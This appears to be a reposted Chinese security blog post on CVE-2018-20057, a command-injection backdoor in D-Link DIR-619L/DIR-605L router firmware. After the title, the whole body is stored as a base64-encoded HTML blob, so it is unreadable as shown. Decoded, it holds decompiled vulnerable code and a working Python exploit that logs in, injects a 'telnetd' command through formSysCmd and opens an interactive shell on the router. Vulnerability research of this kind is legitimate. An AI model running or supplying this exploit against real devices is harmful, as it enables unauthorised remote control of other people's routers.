路由器漏洞分析系列（3）:CVE-2018-20057 后门漏洞分析及复现

PGgyIGlkPSJ0b2MtMCI+5ryP5rSe5Y6f55CGPC9oMj48cD5ELUxJTkvnmoRESVItNjE5TCBSZXYuQiAyLjA2QjHniYjmnKzkuYvliY3lkoxESVItNjA1TCBSZXYuQiAyLjEyQjHniYjmnKzkuYvliY3nmoTorr7lpIfvvIzlnKgvYmluL2JvYeaWh+S7tueahGZvcm1TeXNDbWTlh73mlbDlrZjlnKjlkI7pl6jvvIzlr7zoh7TmlLvlh7vogIXlnKjouqvku73orqTor4HlkI7lj6/ku6XpgJrov4forr/pl648YT5odHRwOi8vW2lwXS8vZ29mb3JtL2Zvcm1TeXNDbWTlubbmjIflrppzeXNDbWTlj4LmlbDvvIzku47ogIzlrp7njrDov5znqIvlkb3ku6Tms6jlhaXjgII8L2E+PC9wPjxwPuWbuuS7tuS4i+i9veWcsOWdgO+8mmZ0cDovL2Z0cDIuZGxpbmsuY29tL1BST0RVQ1RTL0RJUi02MTlML1JFVkIvPC9wPjxwPuacrOa8j+a0nueahOi3r+eUseWZqOi/kOihjOeOr+Wig+S4jkNWRS0yMDE4LTIwMDU255u45ZCM44CCPC9wPjxoMiBpZD0idG9jLTEiPua8j+a0nuWIhuaekDwvaDI+PHA+5p+l55yLZ2hpZHJh5Lit55qE5Y+N57yW6K+R5Luj56CB77yM5ZyoZm9ybVN5c0NtZOS4re+8jOmmluWFiOiOt+WPlnN5c0NtZOWPguaVsO+8jOeEtuWQjumAmui/h3NucHJpbnRm5YaZ5YWl5qCI5Lit5Y+Y6YeP77yM55u05o6l6LCD55Soc3lzdGVt5Ye95pWw5omn6KGM6K+l5Y+C5pWw5YaF5a6544CCPC9wPjxkaXYgY2xhc3M9ImhpZ2hsaWdodCI+PHByZT52b2lkJm5ic3A7Zm9ybVN5c0NtZCh1bmRlZmluZWQ0Jm5ic3A7dVBhcm0xKXsKJm5ic3A7Jm5ic3A7dW5kZWZpbmVkNCZuYnNwO3VWYXIxOwombmJzcDsmbmJzcDtjaGFyJm5ic3A7KnBjVmFyMjsKJm5ic3A7Jm5ic3A7Y2hhciZuYnNwO2FjU3RhY2sxMjAmbmJzcDtbMTA0XTsKCiZuYnNwOyZuYnNwO3VWYXIxJm5ic3A7PSZuYnNwO3dlYnNHZXRWYXIodVBhcm0xLCJzdWJtaXQtdXJsIiwmREFUXzAwNGFjODc0KTsKJm5ic3A7Jm5ic3A7Ly/ojrflj5Zwb3N05Y+C5pWwc3lzQ21k77yM6K+l5Y+C5pWw5Y+v55Sx55So5oi35o6n5Yi2CiZuYnNwOyZuYnNwO3BjVmFyMiZuYnNwOz0mbmJzcDsoY2hhciZuYnNwOyopd2Vic0dldFZhcih1UGFybTEsInN5c0NtZCIsJkRBVF8wMDRhYzg3NCk7CiZuYnNwOyZuYnNwO2lmJm5ic3A7KCpwY1ZhcjImbmJzcDshPSZuYnNwOzApJm5ic3A7ewombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsvL+WwhnN5c0NtZOWGmeWFpeagiOS4re+8jOW5tuiwg+eUqHN5c3RlbeaJp+ihjAombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtzbnByaW50ZihhY1N0YWNrMTIwLDEwMCwiJXMmbmJzcDsyPiYxJm5ic3A7PiZuYnNwOyVzIixwY1ZhcjIsIi90bXAvc3lzY21kLmxvZyIpOwombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtzeXN0ZW0oYWNTdGFjazEyMCk7CiZuYnNwOyZuYnNwO30KJm5ic3A7Jm5ic3A7d2Vic1JlZGlyZWN0KHVQYXJtMSx1VmFyMSk7CiZuYnNwOyZuYnNwO3JldHVybjt9PC9wcmU+PC9kaXY+PGgyIGlkPSJ0b2MtMiI+5ryP5rSe5Yip55SoPC9oMj48cD7or6XmvI/mtJ7mmK/lnKjouqvku73orqTor4HmiJDlip/kuYvlkI7miY3lj6/lrp7njrDlkb3ku6Tms6jlhaXvvIzpnIDopoHlhYjnmbvlvZXovpPlhaXnlKjmiLflkI3lkozlj6Pku6TjgILnlLHkuo7mmK/lnKhxZW115Lit5qih5ouf5Zu65Lu277yM6YCa6L+HYXBtaWJfZ2V06K+75Y+W6Lev55Sx5Zmo5pys5Zyw6YWN572u5peg5rOV5a6e546w77yM5omA5Lul5Zyo5Yqr5oyB5LqGYXBtaWJfZ2V05Ye95pWw5LmL5ZCO77yMbG9naW7ovpPlhaXnmoTnlKjmiLflkI3lkozlr4bnoIHmmoLml7bloavkuLrnqbrjgILlnKjnnJ/mnLrkuIrmk43kvZzml7bvvIzmjaLmiJDnnJ/lrp7nmoTnlKjmiLflkI3lkozlr4bnoIHljbPlj6/jgII8L3A+PGRpdiBjbGFzcz0iaGlnaGxpZ2h0Ij48cHJlPmltcG9ydCZuYnNwO3JlcXVlc3RzaW1wb3J0Jm5ic3A7c3lzaW1wb3J0Jm5ic3A7c3RydWN0aW1wb3J0Jm5ic3A7YmFzZTY0ZnJvbSZuYnNwO3B3biZuYnNwO2ltcG9ydCZuYnNwOypjb250ZXh0KGFyY2g9JiMzOTttaXBzJiMzOTssZW5kaWFuPSYjMzk7YmlnJiMzOTssbG9nX2xldmVsPSYjMzk7ZGVidWcmIzM5OylpcD0mIzM5OzE5Mi4xNjguODQuMTI5JiMzOTtwb3J0PTEwMWRlZiZuYnNwO2xvZ2luKHVzZXIscGFzc3dvcmQpOgombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtwb3N0RGF0YSZuYnNwOz0mbmJzcDt7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyYjMzk7bG9naW5fbmFtZSYjMzk7OiYjMzk7JiMzOTssCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyYjMzk7Y3VyVGltZSYjMzk7OiYjMzk7MTIzNCYjMzk7LAombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmIzM5O0ZJTEVDT0RFJiMzOTs6JiMzOTsmIzM5OywKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7JiMzOTtWRVJfQ09ERSYjMzk7OiYjMzk7JiMzOTssCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyYjMzk7VkVSSUZJQ0FUSU9OX0NPREUmIzM5OzomIzM5OyYjMzk7LAombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmIzM5O2xvZ2luX24mIzM5Ozp1c2VyLAombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmIzM5O2xvZ2luX3Bhc3MmIzM5OzpiYXNlNjQuYjY0ZW5jb2RlKHBhc3N3b3JkKSwKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7fQombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtyZXNwb25zZSZuYnNwOz0mbmJzcDtyZXF1ZXN0cy5wb3N0KCYjMzk7aHR0cDovLyYjMzk7K2lwKyYjMzk7L2dvZm9ybS9mb3JtTG9naW4mIzM5OyxkYXRhPXBvc3REYXRhKQombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsjcHJpbnQmbmJzcDtyZXNwb25zZS51cmxkZWYmbmJzcDtzeXNjbWQoY21kKToKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7cG9zdERhdGEmbmJzcDs9Jm5ic3A7ewombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmIzM5O3N5c0NtZCYjMzk7OmNtZCwKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7JiMzOTtzdWJtaXQtdXJsJiMzOTs6JiMzOTsxMjM0JiMzOTssCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO30KJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7cmVzcG9uc2UmbmJzcDs9Jm5ic3A7cmVxdWVzdHMucG9zdCgmIzM5O2h0dHA6Ly8mIzM5OytpcCsmIzM5Oy9nb2Zvcm0vZm9ybVN5c0NtZCYjMzk7LGRhdGE9cG9zdERhdGEpCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyNwcmludCZuYnNwO3Jlc3BvbnNlLnVybGRlZiZuYnNwO2ludGVyKCk6CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3A9cmVtb3RlKGlwLHBvcnQpCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3AuaW50ZXJhY3RpdmUoKWlmJm5ic3A7X19uYW1lX18mbmJzcDs9PSZuYnNwOyJfX21haW5fXyI6CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO2xvZ2luKCYjMzk7JiMzOTssJiMzOTsmIzM5Oykj6L+Z6YeM6KaB5YaZ5a6e6ZmF55qE55So5oi35ZCN5ZKM5a+G56CB77yM5L6L5aaCYWRtaW4mbmJzcDsxMjM0NQombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtzeXNjbWQoJiMzOTt0ZWxuZXRkJm5ic3A7LXAmbmJzcDsmIzM5OytzdHIocG9ydCkpCiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO2ludGVyKCk8L3ByZT48L2Rpdj48cD7lj6bnlLHkuo5xZW115qih5ouf5pe277yML2RlduS4i+ayoeaciXB0eeiuvuWkh++8jOWvvOiHtHRlbG5ldOi/nuaOpeS4jeiDveWunueOsO+8jOS9huaYr+err+WPo+aYr+W3sue7j+aJk+W8gOS6hu+8mjxici8+PGltZyBzcmM9Imh0dHBzOi8vYmJzLnprYXEuY24vdXBsb2FkL3VzZXJmaWxlLzI0MjUvOTFmYjI2N2Q4ZTc1N2QwZjQwYzM4OGRmZDE2MDgzNjIucG5nIi8+PGltZyBzcmM9Imh0dHBzOi8vYmJzLnprYXEuY24vdXBsb2FkL3VzZXJmaWxlLzI0MjUvM2UzMjM3YzI0YmE1MTA0ZGNlMThhNzE0MDkxOGM3OWIucG5nIi8+PC9wPjxwPuacieecn+acuueahOW4iOWCheS7rOWPr+S7peivleS4gOS4i+OAgjwvcD48aDIgaWQ9InRvYy0zIj7lj4LogIPpk77mjqU8L2gyPjxwPjxhIGhyZWY9Imh0dHBzOi8vZ2l0aHViLmNvbS9XaG9vQW1paS93aG9vYW1paS5naXRodWIuaW8vYmxvYi9tYXN0ZXIvMjAxOC9ESVItNjE5JTIwY29tbWFuZCUyMGV4ZWN1dGlvbi5tZCIgdGFyZ2V0PSJfYmxhbmsiPmh0dHBzOi8vZ2l0aHViLmNvbS9XaG9vQW1paS93aG9vYW1paS5naXRodWIuaW8vYmxvYi9tYXN0ZXIvMjAxOC9ESVItNjE5JTIwY29tbWFuZCUyMGV4ZWN1dGlvbi5tZDwvYT48L3A+PHA+PGJyLz48L3A+PHA+6L2s6Ieq5YWI55+l56S+5Yy6PGJyLz48L3A+PHA+PGJyLz48L3A+